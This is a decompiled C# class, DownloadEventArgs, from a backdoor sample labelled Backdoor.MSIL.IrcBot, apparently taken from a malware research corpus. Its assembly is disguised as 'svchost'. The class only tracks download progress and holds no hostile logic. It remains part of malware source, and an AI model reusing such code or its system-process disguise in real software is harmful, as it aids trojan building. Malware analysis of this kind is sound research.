// Decompiled with JetBrains decompiler
// Type: GoldTrojan.DownloadEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;

namespace GoldTrojan
{
  public class DownloadEventArgs : EventArgs
  {
    private int percentDone;
    private string downloadState;
    private long totalFileSize;
    private long currentFileSize;

    public long TotalFileSize
    {
      get => this.totalFileSize;
      set => this.totalFileSize = value;
    }

    public long CurrentFileSize
    {
      get => this.currentFileSize;
      set => this.currentFileSize = value;
    }

    public DownloadEventArgs(long totalFileSize, long currentFileSize)
    {
      this.totalFileSize = totalFileSize;
      this.currentFileSize = currentFileSize;
      this.percentDone = (int) ((double) currentFileSize / (double) totalFileSize * 100.0);
    }

    public DownloadEventArgs(string state) => this.downloadState = state;

    public DownloadEventArgs(int percentDone, string state)
    {
      this.percentDone = percentDone;
      this.downloadState = state;
    }

    public int PercentDone => this.percentDone;

    public string DownloadState => this.downloadState;
  }
}
